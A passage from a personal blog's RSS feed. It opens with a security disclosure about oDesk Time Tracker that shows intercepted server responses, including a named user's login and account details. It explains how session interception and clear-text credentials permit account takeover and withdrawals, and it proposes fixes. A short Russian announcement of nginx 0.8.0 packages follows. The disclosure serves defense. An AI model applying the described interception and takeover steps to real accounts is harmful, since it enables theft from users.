&nbsp; &nbsp; [computer] =&gt; SJINKS<br />
&nbsp; &nbsp; [os] =&gt; Linux Ubuntu 9.04 (2.6.28-13-server)<br />
&nbsp; &nbsp; [snapint] =&gt; 600<br />
&nbsp; &nbsp; [trigger] =&gt; login<br />
&nbsp; &nbsp; [keyev] =&gt; 1<br />
&nbsp; &nbsp; [mousev] =&gt; 1<br />
&nbsp; &nbsp; [events_per_minute] =&gt; 1245070126,1,1<br />
&nbsp; &nbsp; [activewintitle] =&gt; client : mc<br />
&nbsp; &nbsp; [screensaveron] =&gt; false<br />
&nbsp; &nbsp; [memo] =&gt;.<br />
&nbsp; &nbsp; [task_id] =&gt;.<br />
&nbsp; &nbsp; [task_description] =&gt;.<br />
&nbsp; &nbsp; [screenshot_width] =&gt; 1680<br />
&nbsp; &nbsp; [screenshot_height] =&gt; 1050<br />
&nbsp; &nbsp; [timestamp] =&gt; 1245070127<br />
&nbsp; &nbsp; [screen] =&gt; @/tmp/phpqzwmeh<br />
)<br />
<br />
OUT:<br />
status=S_OK<br />
servertime=1245070127<br />
hiresdesktop=enable<br />
webcam=user<br />
period=600<br />
use_https=yes<br />
company_name=ICS<br />
first_name=Vladimir<br />
last_name=Kolesnikov<br />
tz=Europe/Athens<br />
company=ics2:ics2<br />
login=vkolesnikov<br />
companies=Sphere314,extrememember,ics2:ics2<br />
odeskmeter=0.67,0.67,74.17,16.75,16.75,1854.25<br />
task_integration_policy=1<br />
cache_size=120
        </div>
    </div>
</div>

And here comes the second vulnerability.</li>
<li>
Since the attacker is able to intercept the session, he would be able to intercept the login and password the provider used to log in (since they are transferred in clear text). And since oDesk Time Tracker login is the same as odesk.com login the attacker will be able to log in as the provider whose session he has intercepted/ With the help of social engineering it could be possible to find the answer to the secret question (actually it could be easier than to spoof the DNS); and if the provider is away, the attacker can make a withdrawal to his account.
</li>
</ol>
<p>The main issue is that oDesk Time Tracker does not verify the host it connects to — which makes these vulnerabilities possible. If SSL certificate verification is implemented, this will make attacker&#8217;s life more difficult. And to improve security of the odesk.com account the oDesk Time Tracker could send a hash of the password instead of the password itself. Provided that a strong and secure hash function is used, it will be nearly impossible to reverse the hash to get the original password. Then oDesk account is safe, and even if the oDesk Team session is intercepted, the attacker would be unable to do anything with provider&#8217;s account.</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/" title="Безопасность, о которой все так много говорят… (Март 11, 2008)">Безопасность, о которой все так много говорят…</a> (12)</li>
	<li><a href="http://blog.sjinks.pro/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (Апрель 10, 2008)">Уязвимости oDesk</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/php/667-simple-dos-for-php/" title="Простой DoS для PHP (Октябрь 19, 2009)">Простой DoS для PHP</a> (3)</li>
	<li><a href="http://blog.sjinks.pro/windows/58-nginx-php-fastcgi-in-windows/" title="Настройка nginx и PHP/FastCGI в Windows (Март 28, 2008)">Настройка nginx и PHP/FastCGI в Windows</a> (41)</li>
	<li><a href="http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/" title="Минимизируем неприятные последствия HTTP-сканирования (Ноябрь 19, 2008)">Минимизируем неприятные последствия HTTP-сканирования</a> (24)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>nginx 0.8.0</title>
		<link>http://blog.sjinks.pro/uncategorized/568-nginx-0-8-0/</link>
		<comments>http://blog.sjinks.pro/uncategorized/568-nginx-0-8-0/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 06:20:33 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Всё подряд]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Jaunty Jackalope]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=568</guid>
		<description><![CDATA[Версии для Ubuntu Jaunty Jackalope и Debian Lenny Вчера вышла новая версия web-сервера nginx — 0.8.0, а версия 0.7.59 объявлена стабильной. Скачать nginx 0.8.0 для Ubuntu 9.04 Jaunty Jackalope и Debian Lenny: для архитектуры i686: nginx_0.8.0-1~sj1_i386.deb для архитектуры AMD-64: nginx_0.8.0-1~sj1_amd64.deb © 2008–2010 Ars Longa, Vita Brevis. Все права защищены. Перепубликация материалов без разрешения автора запрещена. При использовании материалов блога наличие активной [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/uncategorized/568-nginx-0-8-0/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Версии для Ubuntu <a href="http://blog.sjinks.pro/tag/jaunty-jackalope/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Jaunty Jackalope">Jaunty Jackalope</a> и <a href="http://blog.sjinks.pro/tag/debian/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Debian">Debian</a> Lenny</em></h2>
<p>Вчера вышла новая версия web-сервера nginx — 0.8.0, а версия 0.7.59 объявлена стабильной.<span id="more-568"></span></p>
<p><strong>Скачать nginx 0.8.0 для Ubuntu 9.04 <a href="http://blog.sjinks.pro/tag/jaunty-jackalope/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Jaunty Jackalope">Jaunty Jackalope</a> и <a href="http://blog.sjinks.pro/tag/debian/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Debian">Debian</a> Lenny:</strong></p>
<ul>
<li>для архитектуры i<strong>6</strong>86: <a href='http://static.sjinks.info/wp-content/uploads/2009/06/nginx_0.8.0-1sj1_i386.deb'>nginx_0.8.0-1~sj1_i386.deb</a></li>
<li>для архитектуры AMD-64: <a href='http://static.sjinks.info/wp-content/uploads/2009/06/nginx_0.8.0-1sj1_amd64.deb'>nginx_0.8.0-1~sj1_amd64.deb</a></li>
</ul>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/uncategorized/568-nginx-0-8-0/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/linux/515-the-most-fresh-nginx-for-ubuntu-amd64/" title="Самый свежий nginx для Ubuntu/AMD64 (Март 14, 2009)">Самый свежий nginx для Ubuntu/AMD64</a> (19)</li>
	<li><a href="http://blog.sjinks.pro/linux/607-siefs-for-debian-lenny-ubuntu-jaunty/" title="SieFS для Debian Lenny/Ubuntu Jaunty (Август 5, 2009)">SieFS для Debian Lenny/Ubuntu Jaunty</a> (5)</li>
	<li><a href="http://blog.sjinks.pro/linux/600-monit-for-debian-ubuntu-linux/" title="monit 5.0.3 для Debian/Ubuntu Linux (Июль 28, 2009)">monit 5.0.3 для Debian/Ubuntu Linux</a> (1)</li>
	<li><a href="http://blog.sjinks.pro/administring/344-purging-old-configs-in-debian-ubuntu-linux/" title="Удаление старых настроек в Debian/Ubuntu Linux (Сентябрь 25, 2008)">Удаление старых настроек в Debian/Ubuntu Linux</a> (0)</li>
	<li><a href="http://blog.sjinks.pro/linux/525-getting-package-versions-for-dependent-shared-libs/" title="Получение версий всех библиотек, зависящих от динамического исполняемого файла (Апрель 6, 2009)">Получение версий всех библиотек, зависящих от динамического исполняемого файла</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/uncategorized/568-nginx-0-8-0/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
